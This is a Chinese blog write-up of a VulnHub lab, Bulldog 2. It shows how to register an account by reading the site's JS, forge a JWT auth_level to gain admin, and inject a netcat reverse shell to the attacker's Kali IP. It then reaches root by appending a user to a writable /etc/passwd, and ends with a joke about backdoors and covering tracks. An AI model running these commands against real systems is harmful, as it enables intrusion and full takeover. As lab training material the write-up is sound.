[渗透测试靶机11] vulnhub靶场 BULLDOG_ 2

kali IP地址为:192.168.86.128

靶机 IP地址为:192.168.86.131

目录

一、信息搜集

1.1 主机发现

1.2 端口扫描

1.3 主机探测

二、漏洞挖掘

2.1 目录扫描

2.2 代码审计

三、漏洞利用

3.1 垂直越权(JWT越权)

3.2 反弹shell

3.3 权限提升

四、总结


知识点

  • 主机发现
  • 端口扫描
  • 主机探测
  • 目录扫描爆破
  • 代码审计
  • 垂直越权(JWT越权)
  • 反弹shell
  • 提升权限

一、信息搜集

1.1 主机发现

1.2 端口扫描

1.3 主机探测

上面可以看出,端口只开放了80端口,网站版本 nginx 1.14.0 (Ubuntu),访问80端口,并且查看版本是否存在可以利用的漏洞

二、漏洞挖掘

2.1 目录扫描

目录扫描出来了俩个文件,分别访问这俩个文件,看是否存在敏感信息,发现没有可以利用的点,

这个时候就直接看js文件吧,一般都会在js页面里面找到突破口

2.2 代码审计

最开始的80页面里面,我们看到有一个注册页面,面上有个注册功能,但是我们点击出现一个通知 ' 遗憾的是,出于安全考虑,我们目前不接受注册。如果需要,请联系a客户支持代表创建一个商业帐户。',如果可以注册的话,我们就直接能登录了

直接代码审计,看js文件,我们直接使用 ' register ' 作为关键字,对4个js文件进行搜索(因为我们的目的是注册),发现只有main开头的js文件中包含register关键词,对该js文件进行研究,可发现现以下有用信息,如图所示,

可以发现注册所需的信息为四条,name、email、username、password,我们可以根据这四条信息进行模拟注册,我们使用 post提交新账户信息来完成注册,但是注意这里有2点要求:

Content-Type 必须要是:application/json
post 数据包内容处,必须要严格按照js代码里的规范

可以看到返回true,注册成功了。使用新创建的(用户名:12345,密码:123456)账号进行登录,登录成功。

进入该账户界面,里面没有可利用的信息,此时我们可以向上提权,将该账户修改为管理员账户

三、漏洞利用

3.1 垂直越权(JWT越权)

退出当前登陆账户,回到注册点,再次登陆,并进行抓包

然后放行,就可以看到服务器返回的数据包

上面可以看到有一个JWT开头的token字段,这个tonken传递了什么内容呢?

JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;
JWT的工作流程如下:

用户使用用户名和密码等身份信息向服务器请求登录。

服务器验证身份信息是否正确,如果正确则生成一个包含用户身份信息的 JWT。

服务器将 JWT 返回给用户。

用户在每次请求中将 JWT 放置在请求头或参数中进行传输,以便服务器可以识别并验证用户身份。

服务器接收到请求并从 JWT 中解密出用户信息,并验证 JWT 签名的有效性。

如果 JWT 签名有效,则允许用户访问所请求的资源。如果 JWT 签名无效,则拒绝用户的请求。

所以我们直接JWT解密,解密网址:https://jwt.io

我们把那个tonken后面的编码复制进去查询一下看看,出现如下图所示的结果:

在payload中我们看到一个可疑的参数:' auth_level ',通过名字就应该知道是判断用户权限的,我们使用这个参数去刚刚几个js文件里搜索看看,只有main开头的js文件中包含auth_level关键词,如图:

根据代码我们可以推断出,下一步我们只需要把 ' standard_user ' 替换成 ' master_admin_user ' 就行,如图:

接下来复制修改后的新编码,替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:

改完之后,放包,我们已经成功变成了 admin 账户

3.2 反弹shell

变成admin账号之后,点击admin,输入用户名密码,抓包,观察

密码错误,页面还是返回200,接下来直接在修改密码处执行漏洞拿反弹shell

反弹shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.86.128 1234 >/tmp/f

成功拿到shell

3.3 权限提升

拿到shell之后,先将简单的Shell转换成为完全交互式的TTY

python -c 'import pty;pty.spawn("/bin/bash")'

查看用户

发现只有root用户有root权限,那新建一个具有root权限的用户,并追加到passwd文件中。

输入命令:perl -le ‘print crypt(“admin”, “aa”)’

/perl需要一个加密盐对密码admin进行加密,其中,admin为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数

将新用户写入passwd文件,我们只需要写3处:一个是名字(sxy)、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改

echo 'sxy:aaLR8vE.jjhss:0:0:sxy:/root:/bin/bash' >> passwd

再次查看passwd文件,新用户添加成功。

一切完成之后,直接切换用户,su sxy 密码为刚刚设置的:admin。成功拿到root权限。如图:

之后就可以留后门,清理痕迹,跑路。。。

四、总结

1、不管是平时的渗透测试工作还是我们靶机练习,我们都不应该去忽略js文件;

2、页面如果有注册但又不能注册时,我们可以使用一个新用户进行登录,然后使用“register”作为关键词在js文件中查找相关源代码,对注册新用户的要求,注册新用户,通过BurpSuite抓包按照代码的要求对其进行改包,使其注册成功;

3、垂直提权,通过修改服务器对普通用户登录的回包(auth_level),将其变成具有管理员权限的用户;

4、获得shell——在Kali上监听端口1234;登录管理员账户,在数据包的密码后面添加一句话木马(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.86.128 1234 >/tmp/f;)获得反弹shell;

5、python -c ‘import pty;pty.spawn(“/bin/bash”) —— 将shell转换为完全交互式的TTY;

6、发现/etc/passwd具有写入权限,新建一个具有root权限的用户,并追加到passwd文件中。然后 su sxy 进行检验。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值